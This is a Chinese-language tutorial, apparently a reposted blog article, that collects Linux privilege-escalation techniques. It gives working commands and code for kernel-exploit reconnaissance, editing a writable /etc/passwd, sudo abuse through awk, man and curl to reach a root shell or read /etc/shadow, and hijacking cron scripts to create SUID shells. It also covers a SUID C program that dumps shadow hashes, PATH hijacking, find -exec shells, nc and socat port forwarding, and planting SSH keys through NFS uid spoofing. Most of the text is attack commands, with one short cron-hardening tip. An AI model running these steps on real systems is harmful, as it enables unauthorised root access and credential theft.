Linux 提權的各種姿勢總結

這篇講一些關於 Linux 提權的方法,也是參考網上的一些提權方式,對於剛接觸 Linux 提權的夥伴來說,需要花不少時間去理解,所以這裏是以個人通俗易懂的思路去寫,希望能幫到熱愛學習的朋友,先寫這些提權方法。若有更好的提權方式,歡迎老哥們在評論裏補充一下。

提權可能需要反彈 bash ,因爲腳本語言無法形成管道,需要創造一個管道才能進行後續的操作,比如溢出成功之後返回一個 root 權限的 shell,腳本語言執行完就完了,不會返回一個可以操作的 root shell,之前不太懂反彈shell的作用,後來在社區評論裏看到了解答。

提權方式總結

1、利用內核棧溢出提權

1.1 信息收集

uname -a Linux localhost.localdomain 3.10.0-693.el7.x86_64 #1 SMP Tue Aug 22 21:09:27 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

內核版本 3.10.0, CPU 架構 x86_64

cat /etc/*-release CentOS Linux release 7.4.1708 (Core) NAME="CentOS Linux" VERSION="7 (Core)" ID="centos" ID_LIKE="rhel fedora" VERSION_ID="7" PRETTY_NAME="CentOS Linux 7 (Core)"

searchsploit linux 3.10 CentOS Linux 7

1.2 linux-exploit-suggester-2

在我的虛擬機 CentOS 執行時,發現存在髒牛提權漏洞

2、明文 root 密碼提權

passwd 儲存了用戶,全用戶可讀,root 可寫 shadow 存儲密碼的 hash,僅 root 可讀寫

passwd 文件:

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

passwd 由冒號分割,第一列是用戶名,第二列是密碼,x 代表密碼 hash 被放在 shadow 裏面了(這樣非 root 就看不到了)。而 shadow 裏面最重要的就是密碼的 hash

測試

檢測 passwd、shadow 是否可寫

ls -l passwd shadow

1、passwd 可寫

從上面圖片裏看到,passwd 文件是可寫的,將 passwd 的 root 密碼 X 替換爲我們自己的 hash,如替換爲自己 linux 裏的 hash,可修改目標的 root 密碼

2、shadow 可讀

把 shadow 裏面 root 的 hash 輔助出來,用 hash、john 爆破

3、密碼複用

如數據庫、後臺 web 密碼,可能就是 root 密碼

4、sudo 濫用

sudo 大家經常遇到,比如執行權限不夠時加 sudo 執行,sudo 是讓普通用戶使用超級用戶的命令。其配置文件爲 /etc/sudoers,文件定義可以執行 sudo 的賬戶、定義某個應用程序用 root 訪問、是否需要密碼驗證。

查看可以執行哪些命令,即不需要知道 root 密碼時,需驗證自身普通權限的密碼

sudo -l

可以支持所有命令,下面參考這個網址:

https://gtfobins.github.io/

這裏以 awk、man、curl 舉個栗子

1、su

sudo su

輸入普通權限用戶密碼,切換爲 root

2、awk

sudo awk 'BEGIN {system("/bin/sh")}'

3、man

sudo man man

4、curl

sudo curl file:///etc/shadow

5、su root 被禁止解決

拿到 root 密碼,端口轉發,代理,但防護牆禁止其他人登錄 root,在原來的低權限 shell,也無法 sudo 切換 root

因爲出於安全考慮,linux 要求用戶必須從終端設備(tty)中輸入密碼,而不是標準輸入(stdin)。

所以 sudo 在你輸入密碼的時候本質上是讀取了鍵盤,而不是讀取 bash 裏面輸入的字符。

測試:

python 語法:

python -c 'import pty;pty.spawn("/bin/sh")'

交互 shell,簡單 shell 簡單 shell 中直接按刪除鍵是不行的,要按住 ctrl 鍵之後,再按住刪除鍵纔可以,其他鍵的使用也一樣

$ sudo su

6、計劃任務

ls -l /etc/cron*

非 root 權限的用戶是不可以列出 root 用戶的計劃任務的。但是 /etc/ 內系統的計劃任務可以被列出,並且默認這些程序以 root 權限執行

重寫 python

若這些計劃任務的腳本可寫,則編輯爲 shell

crontab 文件是計劃任務的配置,此文件只有 root 可寫,我們不需要去修改 crontab,只查看裏面的有哪些任務,比如定時執行了哪些腳本,再查看對應腳本的權限,若可寫,則修改它。

測試:

cat /etc/crontab

我沒有設置定時任務,模擬一下,如果裏面有個 1.python

ls -al /tmp/1.py //查看是否有w權限

cat -al /tmp/1.py //寫入代碼 import os os.system('cp /bin/sh /tmp/sh') os.system('chmod u+s /tmp/sh')

當到了計劃執行時間,就會以 root 權限執行 1.py,即將 /bin/sh 複製到 /tmp/sh

原本是沒有 /tmp/sh

當執行 sudo python 1.py 時,就會複製到 /tmp/sh

我們只需要進入 /tmp,執行 ./sh 可獲取 root

這裏的 cp 命令是基於 SUID,給 1.py 設置 SUID 權限。可以結合環境變量方式,把 /tmp/sh 添加到環境變量,無需進入 /tmp/sh 去執行 ./sh,執行 sh 變爲 root。也可以在 1.py 寫入反彈 shell 的 python 代碼,此時反彈的 shell 具有 root 權限

1、tab 通配符

爲了測試,我先手動添加一條任務,每隔一分鐘打包 /aaa 目錄下的文件,到 /var/backups/aaa.tgz

cat /etc/crontab */1* * * * root tar -zcf /var/backups/aaa.tgz /tmp/aaa/*

防範:

crontab 任務千萬不要寫到 /etc/crontab 文件裏。通過 crontab -e 去創建,讓他寫到默認的 /var/spool/cron下;創建任務時,避免使用 root 去創建任務,若用 root 創建任務,注意設置權限,避免 root 權限執行任務。

7、SUID

SUID 是一種特殊的文件屬性,它允許用戶執行的文件以該文件的擁有者的身份運行【ls 查看時有 s 屬性才支持 SUID】,

如 passwd 文件,普通用戶不能直接讀寫,但可通過 passwd 命令,以 root 權限修改 shadow(因爲 shadow 是 root 權限文件,修改會以 root 權限修改)

c 源代碼:

#include<stdlib.h>
#include <unistd.h>
 int main()
{
setuid(0);//run as root
system("id");
system("cat /etc/shadow");
}

編譯後 ls 查看

ls -l -rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp

注意 s 屬性,表示這個程序有 SUID 的屬性。

演示程序只能執行 cat /etc/shadow,以普通權限執行 ./suid-exp,也能看到 shadow 內容

查找 SUID 文件

find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null

看到剛剛創建的 suid, /tmp/suid-exp

8、環境變量劫持-SUID 擴展

通過劫持環境變量,達到執行任意命令的目的。上述只是執行 cat 命令,但我們最終目的是爲了提權,而不是以 root 權限只執行單個 cat 命令。

linux 下執行命令,如 cat,是去環境變量查找 ,將 cat 替換

測試:

把新建一個 /tmp/cat,而 cat 內容爲我們腳本,當用戶執行 cat 命令,cat /etc/shadow,則執行我們的腳本

    cat >> /tmp/ls <<EOF  
    #!/usr/bin/python  
    print "this is not the true cat"  
    print "here is a root shell!"  
    import pty;pty.spawn("/bin/sh")  
    EOF

此時再執行 ./suid-exp,可執行我們定義的腳本,因爲 suid-exp 以管理員執行 cat 命令,而 linux 的 system 是根據環境變量來執行 cat 的,原本是默認的 cat,當修改了之後,cat 就不再是原來的 cat,而是我們自己定義的腳本,從而達到執行任意命令的目的,即可去提權。

9、管理員配置錯誤

把不帶 setuid(0); 代碼的程序配置了 SUID,比如上面看到的 find 命令,當執行 find 時是以 root 執行,在 find 的exec 後面加上我們自己的腳本即可

find 文件 exec '/bin/sh' \ ;

mkdir abc //創建空文件 abc

find abc -exec '/bin/sh' \;

不過這裏是失敗的,沒有配置錯誤

10、docker 組提權

docker組用戶提權,目的是利用docker組的用戶來提權,因爲docker組用戶在容器下爲root權限,通過掛載方式在容器下給本機添加sudo權限的用戶,從而可以利用sudo命令。如果沒有擁有sudo權限的用戶,是無法執行sudo命令,在kali下會提示用戶不在sudoers等提示。

可以參考我的這篇文章: 《Docker提權實戰測試》 https://www.secquan.org/Discuss/1070515

freebuf 也有https://www.freebuf.com/articles/system/170783.html

11、服務漏洞

netstat -antup #查看各種網絡服務

然後把敏感端口轉發出來,用本地的工具進行攻擊,可能拿到遠程 root,即通過漏洞拿到 root 權限 windows 用 lcx 做端口轉發,linux 用 nc、socat 做端口轉發

1、redis 反彈 shell

nc 單向轉發

nc -l 12345 | nc 192.168.191.170 80

雙向轉發

mkfifo backpipe nc -l 12345 0<backpipe | nc 192.168.191.170 80 1>backpipe

雙向轉發本人測試失敗,希望大佬們提供解決的辦法

socat

測試本地轉發,service apache2 start,把 80 端口轉發到其它端口,看是否能訪問,這裏測試成功

socat TCP-LISTEN:8080,fork TCP:192.168.191.170:80

這裏可以參考這篇文章,作者先執行 ps -fu root,發現開放 redis 端口,把 redis 端口轉發出來,利用 redis 反彈遠程的 root shell。一次簡單 linux 提權:

https://www.secquan.org/Discuss/1069715#reply8

2、nfs 未授權 查看可以訪問的 nfs 目錄

showmount -e 192.168.111.122

將 /home/peter 掛載到本地 /mnt/peter 查看

mount 192.168.111.122:/home/peter /mnt/peter cd /mnt/peter

ls -la,發現沒有寫權限,但只要 uid 爲 1001,gid 爲 1005 的用戶就可以,由於是掛載到本地,本地創建一個這樣賬戶,即可對此目錄進行寫權限

ls -l /mnt/,發現 uid 爲 1001,gid 爲 1005

groupadd -g 1055 boogle,創建 gid 爲 1055 的組 boogle

adduser boogle -uid 1001 -gid 1005

此時可以寫入文件,則生成 boogle 的 ssh 公私鑰,

先在 /mnt/peter/ 目錄創建 /.ssh/ 目錄

本地生成的 id_rsa.pub 是在 /root/.ssh/ 目錄下,複製到 /mnt/peter/.ssh/authorized_keys,如下圖:

總結

ls -la,發現沒有寫權限,但只要 uid 爲 1001,gid 爲 1005 的用戶就可以,由於是掛載到本地,本地創建一個這樣的賬戶,即可對此目錄進行寫權限,下一步對此目錄寫入 ssh 公鑰,以公私鑰的方式登錄 ssh,ssh [email protected] 免密登錄,獲取 root 權限。

本文分享自微信公衆號 - 信安之路(xazlsec)

 

附:

發佈了19 篇原創文章 · 獲贊 20 · 訪問量 6萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章